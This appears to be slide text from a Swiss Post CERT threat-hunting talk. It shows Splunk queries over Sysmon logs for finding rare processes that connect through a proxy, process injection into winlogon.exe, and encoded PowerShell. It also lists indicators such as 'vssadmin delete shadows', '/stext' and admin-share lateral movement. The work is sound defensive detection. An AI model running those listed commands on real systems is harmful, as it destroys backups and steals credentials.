StartFunction: 
 

 Suspicious proc injection into «winlogon.exe» 
 Steal user’s password while logging on or unlocking screensaver 

 

C:\Windows\SysWOW64\rundll32.exe 

# C:\Windows\system32\winlogon.exe 



 

 

 Find processes connecting thru proxy or directly to the Internet 

– Count distinct hashes and Import Hashes 

– Count distinct clients 

– Count distinct image paths and names 

 Search for PowerShell  -EncodedCommand 
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More ideas for Hunting 
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Processes connecting thru Proxy 
 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=1 

  [  

    search index=sysmon SourceName="Microsoft-Windows-Sysmon"  

        EventCode=3 Image="*\\Users\\*"  

        DestinationHostname="proxy.fqdn" 

    | stats by ComputerName ProcessGuid  

    | fields ComputerName ProcessGuid  

  ] 

| fields Hashes ComputerName Image ParentImage 

| rex field=Hashes ".*MD5=(?<MD5>[A-F0-9]*),IMPHASH=(?<IMPHASH>[A-F0-9]*)" 

| rex field=Image ".*\\\\Users\\\\(?<username>[^\\\\]+)\\\\.*"  

| rex field=Image ".*\\\\+(?<proc_name>[^\\\\]+\.[eE][xX][eE]).*"  

| rex field=ParentImage ".*\\\\+(?<pproc_name>[^\\\\]+\.[eE][xX][eE]).*"  

| stats dc(ComputerName) AS CLIENTS, dc(MD5) AS CNT_MD5, 

    dc(Image) AS CNT_IMAGE, values(username) AS Users, 

    values(ComputerName) AS Computers, values(MD5) AS MD5, 

    values(proc_name) AS proc_name, values(pproc_name) AS pproc_name 

    by IMPHASH 

| where CLIENTS < 15 

| sort –CLIENTS 

 

 IMPHASH = Import Hash 
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Processes connecting thru Proxy 
 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=1 

  [  

    search index=sysmon SourceName="Microsoft-Windows-Sysmon"  

        EventCode=3 Image="*\\Users\\*"  

        DestinationHostname="proxy.fqdn" 

    | stats by ComputerName ProcessGuid  

    | fields ComputerName ProcessGuid  

  ] 

| fields Hashes ComputerName Image ParentImage 

| rex field=Hashes ".*MD5=(?<MD5>[A-F0-9]*),IMPHASH=(?<IMPHASH>[A-F0-9]*)" 

| rex field=Image ".*\\\\Users\\\\(?<username>[^\\\\]+)\\\\.*"  

| rex field=Image ".*\\\\+(?<proc_name>[^\\\\]+\.[eE][xX][eE]).*"  

| rex field=ParentImage ".*\\\\+(?<pproc_name>[^\\\\]+\.[eE][xX][eE]).*"  

| stats dc(ComputerName) AS CLIENTS dc(MD5) AS CNT_MD5  

    dc(Image) AS CNT_IMAGE values(username) AS Users  

    values(ComputerName) AS Computers values(MD5) AS MD5 

    values(proc_name) AS proc_name values(pproc_name) AS pproc_name 

    by IMPHASH 

| where CLIENTS < 15 

| sort –CLIENTS 

 

 IMPHASH = Import Hash 
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Powershell -EncodedCommand 
 

 

alert_sysmon_powershell_encodedcommand 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  

    powershell.exe 

| eval CommandLine = replace(CommandLine, "-encoding", "") 

| search  

    Image="*\\powershell.exe" 

    CommandLine="* -enc*" 

 

 matches Powershell parameter 
 « -enc» or « -EncodedCommand» or … (many variations possible) 
 but not « -encoding» 
 

 may need (lots of) tuning / filtering for alerting 

 or useful for hunting 
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Conclusion (1/2) 
 

Using the free Sysmon tool you can search / alert for  
known malicious process behaviors 
 

 Image names / paths (wrong paths) 

 svchost.exe, %APPDATA%\Oracle\bin\javaw.exe 

 CommandLine parameters 

 /stext, vssadmin delete shadows, rundll32 qwerty 

 Parent- / Child-Process relationships 

 winword.exe  explorer.exe, wscript.exe  rundll32.exe 

 Process injection 

 # winlogon.exe 
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Conclusion (2/2) 
 

Using the free Sysmon tool you can hunt for  
suspicious process behaviors 
 

 Lateral movement using admin shares 

 ADMIN$, C$, IPC$  (\\127.0.0.1\...) 

 Internal C&C P2P comms over named pipes / SMB 

 processes using port 445 between workstations 

 Rarest processes connecting thru proxy (or directly to Internet) 

 count by hashes, IMPHASHes, clients, image names 

 Suspicious Powershell activity 

 Powershell -EncodedCommand | -enc … 
 

Countless more ideas, but out of time… 
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Thanks goes to… 

 

(in random order) 

 Mark Russinovich & Thomas Garnier for Sysmon & RSA talk etc. 

 Raphael Mudge for Cobalt Strike, videos, blogs etc. 

 David Bianco for ThreatHuntingProject, Pyramid of Pain, blog etc. 

 SANS DFIR folks for «Find Evil» poster and all DFIR resources 

 Joe Security for its great sandbox product 

 Veris ATD team for Empire, BloodHound etc. & ARTT BH training 

 

… and everyone contributing to the DFIR or ITsec community 

 



Thank you for your attention! 
Questions? 
(if there is time left) 

  

Tom Ueltschi, Swiss Post CERT 
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